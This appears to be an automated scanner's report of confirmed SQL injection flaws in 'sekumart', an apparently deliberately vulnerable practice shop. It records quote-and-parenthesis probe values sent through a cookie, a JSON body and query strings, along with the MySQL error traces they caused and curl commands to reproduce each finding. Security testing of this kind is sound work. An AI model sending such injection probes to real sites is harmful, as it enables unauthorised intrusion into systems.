content-length: 1554
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — Apparel</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

stability HTTP 200 https://sekumart.sekuripy.hr/category.php?cat=2

request

GET /category.php?cat=2 HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1554
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — Apparel</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

tampered value HTTP 200 https://sekumart.sekuripy.hr/category.php?cat=2

request

GET /category.php?cat=2 HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha)"('

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1514
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — Apparel</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

GET/product.php cookie · curr confirmed · high confidence BL-005 critical

Evidence. Poisoning curr with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"('' at line 1 in

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

location: GET https://sekumart.sekuripy.hr/product.php?id=3
input: curr in the cookie
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"('' at line 1 in

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value GET https://sekumart.sekuripy.hr/product.php?id=3 HTTP 200 3609 bytes
tampered value GET https://sekumart.sekuripy.hr/product.php?id=3 HTTP 200 3021 bytes

stability

curl -i -X GET 'https://sekumart.sekuripy.hr/product.php?id=3' \
  -H 'Cookie: <your session here>'

GET /product.php?id=3 HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

Raw exchanges — 3 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/product.php?id=3

request

GET /product.php?id=3 HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1686
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

stability HTTP 200 https://sekumart.sekuripy.hr/product.php?id=3

request

GET /product.php?id=3 HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1686
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

tampered value HTTP 200 https://sekumart.sekuripy.hr/product.php?id=3

request

GET /product.php?id=3 HTTP/1.1
Host: sekumart.sekuripy.hr
Cookie: PHPSESSID=8a0c5b1f14b0e49b3cec4675b01ced19; seclevel=low; curr=alpha)'"(

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1478
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:04:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

POST/apiv1.php JSON body · id confirmed · high confidence BL-006 critical

Evidence. Poisoning id with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')"'(' at line 1 in

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

location: POST https://sekumart.sekuripy.hr/apiv1.php
input: id in the JSON body
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')"'(' at line 1 in

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value POST https://sekumart.sekuripy.hr/apiv1.php HTTP 200 164 bytes
```
{"id": "1"}
```
tampered value POST https://sekumart.sekuripy.hr/apiv1.php HTTP 200 511 bytes
```
{"id": "1)\"'("}
```

stability

curl -i -X POST 'https://sekumart.sekuripy.hr/apiv1.php' \
  -H 'content-type: application/json' \
  --data-raw '{"id": "1"}'

POST /apiv1.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/json

{"id": "1"}

Raw exchanges — 3 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/apiv1.php

request

POST /apiv1.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/json

{"id": "1"}

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-length: 164
content-type: application/json
date: Thu, 17 Sep 2026 09:57:28 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

{"products":[{"id":"1","name":"Quantum USB Cable","price":"9.99","description":"Transfers data before you even plug it in. Backwards-compatible with the future."}]}

stability HTTP 200 https://sekumart.sekuripy.hr/apiv1.php

request

POST /apiv1.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/json

{"id": "1"}

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-length: 164
content-type: application/json
date: Thu, 17 Sep 2026 09:57:28 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

{"products":[{"id":"1","name":"Quantum USB Cable","price":"9.99","description":"Transfers data before you even plug it in. Backwards-compatible with the future."}]}

tampered value HTTP 200 https://sekumart.sekuripy.hr/apiv1.php

request

POST /apiv1.php HTTP/1.1
Host: sekumart.sekuripy.hr
content-type: application/json

{"id": "1)\"'("}

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-length: 511
content-type: application/json
date: Thu, 17 Sep 2026 09:57:28 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ')"'(' at line 1 in /var/www/html/source/apiv1_low.php:4
Stack trace:
#0 /var/www/html/source/apiv1_low.php(4): mysqli_query(Object(mysqli), 'SELECT id,name,...')
#1 /var/www/html/apiv1.php(5): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/apiv1_low.php</b> on line <b>4</b><br />

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

GET/product.php query string · id confirmed · high confidence BL-007 critical

Evidence. Poisoning id with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"')(' at line 1 in

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

location: GET https://sekumart.sekuripy.hr/product.php?id=1%22%27%29%28
input: id in the query string
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"')(' at line 1 in

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value GET https://sekumart.sekuripy.hr/product.php?id=1 HTTP 200 7492 bytes
tampered value GET https://sekumart.sekuripy.hr/product.php?id=1%22%27%29%28 HTTP 200 519 bytes

stability

curl -i -X GET 'https://sekumart.sekuripy.hr/product.php?id=1'

GET /product.php?id=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 4 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/product.php?id=1

request

GET /product.php?id=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2028
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:57 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

stability HTTP 200 https://sekumart.sekuripy.hr/product.php?id=1

request

GET /product.php?id=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2028
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:57 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — product</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

tampered value HTTP 200 https://sekumart.sekuripy.hr/product.php?id=1%22%27%29%28

request

GET /product.php?id=1%22%27%29%28 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 327
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:57:57 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"')(' at line 1 in /var/www/html/source/product_low.php:4
Stack trace:
#0 /var/www/html/source/product_low.php(4): mysqli_query(Object(mysqli), 'SELECT id, name...')
#1 /var/www/html/product.php(3): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/product_low.php</b> on line <b>4</b><br />

tamper_literal HTTP 200 https://sekumart.sekuripy.hr/product.php?id=1"')(

request

GET /product.php?id=1"')( HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
Cache-Control: no-store, no-cache, must-revalidate
Content-Length: 519
Content-Type: text/html; charset=UTF-8
Date: Thu, 17 Sep 2026 09:57:58 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
X-Powered-By: PHP/8.2.30
X-Robots-Tag: noindex, nofollow, noarchive
Connection: close

<br />
<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"')(' at line 1 in /var/www/html/source/product_low.php:4
Stack trace:
#0 /var/www/html/source/product_low.php(4): mysqli_query(Object(mysqli), 'SELECT id, name...')
#1 /var/www/html/product.php(3): require('/var/www/html/s...')
#2 {main}
  thrown in <b>/var/www/html/source/product_low.php</b> on line <b>4</b><br />

Detection details — how this was found and rated

checks: injection/sqli
rating basis: P1 - server-side SQL injection: full read access to the data store, routinely full compromise
class: sqli injection

GET/track.php query string · order confirmed · high confidence BL-008 critical

Evidence. Poisoning order with quote/paren characters produced a MySQL error, so the value reaches the SQL parser.

Why this proves it. MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

or</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"()'' at line 1 in

What we verified Input from this parameter reaches the SQL parser: the database either reported a syntax error on our value or evaluated a condition we supplied.

Assessment boundary: No data was extracted, no rows were modified and no privilege escalation was attempted.

location: GET https://sekumart.sekuripy.hr/track.php?order=SK-1001%27%22%28%29
input: order in the query string
authentication: none - reachable anonymously
classification: CWE-89 · WASC-19
standards: OWASP Top 10 2025A05:2025 OWASP ASVS 5.0.0V1 OWASP WSTG 4.2WSTG-INPV-05 ISO/IEC 27001 2022A.8.28, A.8.29 NIST CSF 2.0ID.RA-01 PCI DSS 4.0.16.2.4, 6.3.1

Decisive evidence

MySQL reported on the value we sent confirmed

or</b>: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"()'' at line 1 in

MySQL parsed our value and reported on it. Only input that reaches the query itself can make the engine complain about syntax.

Reproduce

baseline, untouched value GET https://sekumart.sekuripy.hr/track.php?order=SK-1001 HTTP 200 2984 bytes
tampered value GET https://sekumart.sekuripy.hr/track.php?order=SK-1001%27%22%28%29 HTTP 200 511 bytes

stability

curl -i -X GET 'https://sekumart.sekuripy.hr/track.php?order=SK-1001'

GET /track.php?order=SK-1001 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 4 recorded request/response pairs

baseline, untouched value HTTP 200 https://sekumart.sekuripy.hr/track.php?order=SK-1001

request

GET /track.php?order=SK-1001 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1423
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:58:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

